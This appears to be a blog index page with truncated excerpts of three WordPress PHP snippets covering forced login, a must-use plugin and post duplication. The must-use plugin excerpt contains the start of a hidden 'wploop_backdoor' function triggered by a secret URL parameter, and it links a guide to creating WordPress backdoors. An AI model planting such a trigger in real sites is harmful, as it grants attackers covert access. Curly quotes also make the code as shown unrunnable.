Restrict access to your WordPress

function v_getUrl() { $url = isset( $_SERVER[‘HTTPS’] ) && ‘on’ === $_SERVER[‘HTTPS’] ? ‘https’ : ‘http’; $url .= ‘://’ . $_SERVER[‘SERVER_NAME’]; $url .= in_array( $_SERVER[‘SERVER_PORT’], array(’80’, ‘443’) ) ? ” : ‘:’ . $_SERVER[‘SERVER_PORT’]; $url .= $_SERVER[‘REQUEST_URI’]; return $url; } function v_forcelogin() { if( !is_user_logged_in() ) { $url = v_getUrl(); $whitelist = apply_filters(‘v_forcelogin_whitelist’, array()); $redirect_url … Read moreRestrict access to your WordPress

must-use plugins for WordPress

<?php /* Plugin Name: admin-only */ // Hook the ‘wp_footer’ action hook, add the function named ‘mfp_Add_Text’ to it add_action(“wp_footer”, “mfp_Add_Text”); // Define ‘mfp_Add_Text’ function mfp_Add_Text() { echo “<p style=’color: black;’>After the footer is loaded, my text is added!</p>”; } // —————————————————————————————- // https://wpsecurityninja.com/create-wordpress-backdoor/ // https://yoursite.com/?usethebackdoor=thatswhatshesaid // add_action(‘wp_head’, ‘wploop_backdoor’); function wploop_backdoor() { if ($_GET[‘usethebackdoor’] == … Read moremust-use plugins for WordPress

Duplicating WordPress Page or Post Without Plugins

/* * Function for post duplication. Dups appear as drafts. User is redirected to the edit screen */ function rd_duplicate_post_as_draft(){ global $wpdb; if (! ( isset( $_GET[‘post’]) || isset( $_POST[‘post’]) || ( isset($_REQUEST[‘action’]) && ‘rd_duplicate_post_as_draft’ == $_REQUEST[‘action’] ) ) ) { wp_die(‘No post to duplicate has been supplied!’); } /* * Nonce verification */ if … Read moreDuplicating WordPress Page or Post Without Plugins